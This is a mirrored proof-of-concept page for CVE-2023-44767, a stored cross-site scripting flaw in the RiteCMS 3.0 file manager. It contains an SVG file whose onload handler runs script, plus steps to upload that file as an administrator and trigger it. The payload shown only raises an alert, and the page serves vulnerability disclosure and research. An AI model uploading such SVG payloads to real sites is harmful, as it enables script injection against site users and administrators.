Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-44767 PoC — RiteCMS 跨站脚本漏洞

Source
Associated Vulnerability
Title:RiteCMS 跨站脚本漏洞 (CVE-2023-44767)
Description:RiteCMS是一个网站CMS。 RiteCMS 3.0版本存在安全漏洞,该漏洞源于存在文件上传漏洞,允许本地攻击者上传包含跨站脚本(XSS)内容的SVG文件。
Description
RiteCMS 3.0 is affected by File Upload - XSS vulnerability that allows attackers to upload a PDF file with a hidden XSS that when executed will launch the XSS pop-up
Readme
# RiteCMS 3.0 File Upload - XSS

## Author: (Sergio)

**Description:** File upload vulnerability in RiteCMS 3.0 allows a local attacker to upload a svg file with XSS content.

**Attack Vectors:** AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

---

### POC:

We create an svg file with the following content:

```js
<svg
onload="alert('xss attach')"
 xmlns="http://www.w3.org/2000/svg">
</svg>
```


When logging into the panel, we will go to the "Filemanager" section off Administration Menu and click on Upload file.

![File Upload XSS fichero subido](https://github.com/sromanhu/RiteCMS-File-Upload--XSS---Filemanager/assets/87250597/5f6da339-3efb-4e2b-b05e-ad7ed9131c9c)



Here we see the svg file uploaded correctly:

![File Upload XSS fichero subido 2](https://github.com/sromanhu/RiteCMS-File-Upload--XSS---Filemanager/assets/87250597/efaf16c0-42f2-4251-8c3c-5409914235b2)



Then we open the file and the XSS pop-up appears

![File Upload XSS result](https://github.com/sromanhu/RiteCMS-File-Upload--XSS---Filemanager/assets/87250597/01fbe601-b9d9-40c1-a0ab-0c9e24d8efb9)



</br>

### Additional Information:
https://github.com/handylulu/RiteCMS/
File Snapshot

[4.0K] /data/pocs/df32341c77af005ae9dfdd863b17c5bb156b870e └── [1.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.